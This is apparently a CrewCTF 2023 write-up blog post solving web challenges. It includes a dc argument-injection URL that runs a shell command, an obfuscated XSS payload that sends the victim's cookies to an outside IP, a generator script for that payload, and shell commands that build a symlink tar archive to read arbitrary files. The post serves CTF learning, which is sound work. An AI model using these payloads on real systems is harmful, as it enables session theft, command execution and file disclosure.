Spec

CrewCTF2023-WriteUps


2023-07-11

This challenge is relatively straightforward, as there is parameter injection present in the code below.

1
proc = subprocess.run(['dc', script_file],capture_output=True,text=True,timeout=1)

According to the manual.

-e expr

--expression=expr

Evaluate expr as DC commands.

!

Will run the rest of the line as a system command.

Execute arbitrary expressions using expression, and perform command injection using !.

1
http://sequence-gallery.chal.crewc.tf:8080/?sequence=--expression%3D%21cat%09fla*%0a

hex2dec

CSP

1
<meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'unsafe-inline';">
1
2
3
4
5
const params = new URLSearchParams(document.location.search.substring(1));
const v = params.get("v");
if (/^[0-f +-]+$/g.test(v)) {
result.innerHTML = `${v} = ${parseInt(v, 16)}`;
}

Although 0-f seems fine, it actually refers to the index from 48 to 102 in ASCII, including uppercase letters and some symbols. With this discovery, I quickly came up with the outline of a payload.

1
<SVG ONLOAD=I=toString;S=``[constructor][fromCharCode];a['parent']['location']['href']=`HTTP`+`://`+IP+`?`+a['parent']['document']['cookie']><IMG><IFRAME NAME=a SRCDOC=1>

Considering CSP, in order to bring out the flag, a top-level jump such as location needs to be used. To obtain the document object, I injected an <iframe srcdoc=1 id=xx>, and then used xx[parent][document] to retrieve the document. Next, I referenced jsfuck and wrote a simplified version tailored to this problem.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
const CONSTRUCTORS={
"constructor":"`c`+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+[[][[]]+[]][0][1]+[[7==1]+1][0][3]+[[7==7]+1][0][0]+[[7==7]+1][0][1]+[[][[]]+[]][0][0]+`c`+[[7==7]+1][0][0]+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+[[7==7]+1][0][1]",
"toString":"[[7==7]+1][0][0]+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+`S`+[[7==7]+1][0][0]+[[7==7]+1][0][1]+[[][[]]+[]][0][5]+[[][[]]+[]][0][1]+[``+``[`c`+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+[[][[]]+[]][0][1]+[[7==1]+1][0][3]+[[7==7]+1][0][0]+[[7==7]+1][0][1]+[[][[]]+[]][0][0]+`c`+[[7==7]+1][0][0]+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+[[7==7]+1][0][1]]][0][14]",
'fromCharCode':"`f`+[[7==7]+1][0][1]+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+22[[[7==7]+1][0][0]+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+`S`+[[7==7]+1][0][0]+[[7==7]+1][0][1]+[[][[]]+[]][0][5]+[[][[]]+[]][0][1]+[``+``[`c`+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+[[][[]]+[]][0][1]+[[7==1]+1][0][3]+[[7==7]+1][0][0]+[[7==7]+1][0][1]+[[][[]]+[]][0][0]+`c`+[[7==7]+1][0][0]+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+[[7==7]+1][0][1]]][0][14]]`23`+`C`+101[[[7==7]+1][0][0]+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+`S`+[[7==7]+1][0][0]+[[7==7]+1][0][1]+[[][[]]+[]][0][5]+[[][[]]+[]][0][1]+[``+``[`c`+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+[[][[]]+[]][0][1]+[[7==1]+1][0][3]+[[7==7]+1][0][0]+[[7==7]+1][0][1]+[[][[]]+[]][0][0]+`c`+[[7==7]+1][0][0]+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+[[7==7]+1][0][1]]][0][14]]`21`[1]+`a`+[[7==7]+1][0][1]+`C`+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+`d`+`e`"
}

const MAPPING = {
'a':'`a`',
'b':'`b`',
'c':'`c`',
'd':'`d`',
'e':'`e`',
'f':'`f`',

'o':'[[][`a`+[[7==7]+1][0][0]]+``][0][6]',
'i':'[1e1000+``][0][3]',
't':'[[7==7]+1][0][0]',
'r':'[[7==7]+1][0][1]',
'l':'[[7==1]+1][0][2]',
's':'[[7==1]+1][0][3]',
'u':'[[][[]]+[]][0][0]',
'y':'[1e1000+``][0][7]',
'n':'[[][[]]+[]][0][1]',
'i':'[[][[]]+[]][0][5]',
'g':"[``+``[`c`+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+[[][[]]+[]][0][1]+[[7==1]+1][0][3]+[[7==7]+1][0][0]+[[7==7]+1][0][1]+[[][[]]+[]][0][0]+`c`+[[7==7]+1][0][0]+[[][`a`+[[7==7]+1][0][0]]+``][0][6]+[[7==7]+1][0][1]]][0][14]",
// 'S':"`S`",
// 'C':"`C`",
'h':"101[toString]`21`[1]".replace("toString","I"),
'p':'211[toString]`31`[1]'.replace("toString","I"),
'k':'20[toString]`21`'.replace("toString","I"),
'v':'31[toString]`32`'.replace("toString","I"),
'w':'32[toString]`33`'.replace("toString","I"),
'z':'35[toString]`36`'.replace("toString","I"),
'j':'19[toString]`20`'.replace("toString","I"),
'm':'22[toString]`23`'.replace("toString","I"),
'x':'101[toString]`34`[1]'.replace("toString","I"),
'q':'26[toString]`27`'.replace("toString","I"),
':':'S`58`',
'/':'S`47`',
'.':'S`46`'
}
// console.log(Object.keys(MAPPING).length)
// console.log(MAPPING)


const EXP={
"parent":"",
"location":"",
"href":"",
"atob":"",
"document":"",
"cookie":"",
"://":"",
'.':'S`46`'
}
let exp="<SVG ONLOAD=I=toString;S=``[constructor][fromCharCode];a['parent']['location']['href']=`HTTP`+'://'+`x`+'.'+`x`+'.'+`x`+'.'+`x?`+a['parent']['document']['cookie']><IMG><IFRAME NAME=a SRCDOC=1>".replace("constructor",CONSTRUCTORS["constructor"]).replace("fromCharCode",CONSTRUCTORS["fromCharCode"]).replace("toString",CONSTRUCTORS["toString"])
function isUpperCase(str) {
return str === str.toUpperCase() && str!=':' && str!='/' && str!='.';
}

for (key in EXP){
// console.log(key)
s=''

for(i in key){
if(isUpperCase(key.charAt(i))){

s = s + '`'+key.charAt(i)+'`+'
}
else
s = s+MAPPING[key.charAt(i)]+"+"
}
EXP[key]=s.slice(0, -1)
console.log(key+" is: "+s.slice(0, -1)+"\n")
}


const pattern = /'([^']*)'/g;
let match;
while ((match = pattern.exec(exp))) {
console.log(match[1]);
console.log(EXP)
exp = exp.replace("'"+match[1]+"'",EXP[match[1]])
}
console.log(exp)

However, this is unintended. The author actually intended to use HTMLAnchorElement.toString to obtain lowercase letters, as can be seen in the following example.

1
2
3
4
<A ID=A HREF=ABCDEFGHIJKLMNOPQRSTUVWXYZ:></A>
<script>
console.log(A+"") //abcdefghijklmnopqrstuvwxyz:
</script>

archive_stat_viewer

  • Users can upload tar files, and /web-apps/src/archives will create a directory with a UUID and save the tar file in that directory.
  • The saved tar file will be located at ${UUID}/archive.tar.
  • The contents of the tar file will be extracted and saved in the ${UUID}/files/ directory.
  • Information about the files in the files directory will be recorded in the ${UUID}/result.json file.
1
2
3
4
5
6
def extract_archive(archive_path, extract_folder):
with tarfile.open(archive_path) as archive:
for member in archive.getmembers():
if member.name[0] == '/' or '..' in member.name: # 防止绝对路径,目录穿越
raise HackingException('Malicious archive')
archive.extractall(extract_folder)

Python’s tar module can include symbolic links.

This challenge is similar to a challenge I encountered when I first started learning CTF. I remember that the steps for that challenge involved uploading a symbolic link xxx that points to the www directory, followed by uploading xxx/shell, which would extract the shell file to the www directory.

This challenge is similar in that all that is needed is to replace ${UUID}/result.json with a symbolic link that points to the flag. First, upload any tar file and record its uuid.

1
2
3
4
5
6
7
8
9
10
ln -s /web-apps/src/archives/uuid xxx
tar -cvf exp.tar xxx
rm xxx

mkdir xxx
ln -s /web-apps/src/flag.txt result.json
cp result.json xxx/result.json

tar -rf exp.tar xxx/result.json
rm -rf xxx
1
2
3
# tar -tvf exp.tar
lrwxrwxrwx root/root 0 2023-07-9 14:03 xxx -> /web-apps/src/archives/uuid
lrwxrwxrwx root/root 0 2023-07-9 14:04 xxx/result.json -> /web-apps/src/flag.txt

safe_proxy

I was unable to solve this challenge because I first consulted the Deno official manual and did not see that fetch supports the file:// protocol, so I did not consider the file:// protocol.

You can refer to the official writeup or this link https://nanimokangaeteinai.hateblo.jp/entry/2023/07/10/063030 ↗ for more information.